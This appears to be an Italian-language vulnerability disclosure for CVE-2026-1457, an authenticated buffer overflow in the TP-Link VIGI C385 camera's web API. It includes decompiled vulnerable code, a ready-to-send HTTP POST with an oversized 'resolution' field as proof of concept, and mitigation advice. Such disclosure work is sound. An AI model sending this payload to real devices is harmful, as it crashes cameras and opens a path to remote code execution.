ii4gsp/cve-2026-1457Fornisce un'analisi dettagliata e una proof-of-concept per CVE-2026-1457, un buffer overflow autenticato nell'API web di TP-Link VIGI C385 che porta all'esecuzione remota di codice.
CVE-2026-1457 è una vulnerabilità di buffer overflow autenticato nell'API web di TP-Link VIGI C385 V1. Questa vulnerabilità consente ad attaccanti autenticati di eseguire codice in remoto (RCE).
Punteggio CVSS v4.0: 8.5 (Alto)
CVSS:4.0/AV:A/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
| Modello di Prodotto | Versione Interessata |
|---|---|
| VIGI C385 V1 |
| < 3.1.1 Build 251124 Rel.50371n |
La funzione set_resolution_18AAD8 utilizza strcpy per copiare l'input dell'utente in un buffer senza validazione della lunghezza, causando un buffer overflow.
int __fastcall set_resolution_18AAD8(int a1, char a2)
{
const char *string_origin; // r5
const char *v4; // r4
int result; // r0
char v6[72]; // [sp+0h] [bp-A0h] BYREF
char v7[88]; // [sp+48h] [bp-58h] BYREF
memset(v6, 0, sizeof(v6));
memset(v7, 0, 72);
string_origin = jso_obj_get_string_origin(a2, (char)"secname");
v4 = jso_obj_get_string_origin(a2, (char)"resolution");
sub_1FE6BC((int)"/video/main", (int)v6, 0x48u);
sub_1FE6BC((int)"/video/minor", (int)v7, 0x44u);
if ( !strcmp(string_origin, "main") )
{
result = strcmp(v4, &v6[29]);
if ( result ) // true if v4 is greater than &v6[29]
{
sub_1FE6BC((int)"/video/main", (int)v6, 0x48u);
strcpy(&v6[29], v4); // ⚠️ buffer overflow
sub_1FE804("/video/main", v6, 72);
return 0;
}
}
else if ( !strcmp(string_origin, "minor") )
{
result = strcmp(v4, &v7[29]);
if ( result )
{
sub_1FE6BC((int)"/video/minor", (int)v7, 0x48u);
strcpy(&v7[29], v4); // ⚠️ buffer overflow
sub_1FE804("/video/minor", v7, 72);
return 0;
}
}
else
{
msg_debug(3, "http_do_setResolution", 3137, "[HTTPD]set resolution param error.\n");
return -40209;
}
return result;
}
v6 è dichiarato come 72 byte, ma strcpy viene eseguito alla posizione &v6[29].v7 è dichiarato come 88 byte, ma strcpy viene eseguito alla posizione &v7[29].v4) non viene validato per la lunghezza prima di utilizzare strcpy, causando un buffer overflow.v6) e 59 byte (v7) rispettivamente, ma è possibile copiare stringhe più lunghe.stok valido)Un attaccante può sfruttare la funzionalità set_resolution dell'endpoint /ds per inviare payload dannosi.
POST /stok=9p73~f9L0fGs33wt3D3XDc)7u)!wt83f/ds HTTP/1.1
Host: 192.168.0.100
Content-Length: 3015
Content-Type: application/json; charset=UTF-8
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Origin: https://192.168.0.100
Connection: close
{
"video": {
"set_resolution": {
"secname": "main",
"resolution": "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
}
},
"method": "do"
}
Questo documento non contiene codice exploit eseguibile. La seguente schermata dimostra lo sfruttamento riuscito che risulta in una connessione reverse shell:
Aggiornamento del Firmware: Aggiornare i dispositivi interessati alla versione 3.1.1 Build 251124 Rel.50371n o successiva.
Isolamento della Rete: Se possibile, posizionare i dispositivi VIGI C385 in un segmento di rete isolato.
Controllo degli Accessi: Limitare l'accesso all'interfaccia di gestione solo a reti fidate.
Monitoraggio: Monitorare il traffico di rete anomalo o il comportamento dei dispositivi.
Questa vulnerabilità è stata scoperta e analizzata da:
di NSHC RedAlert Labs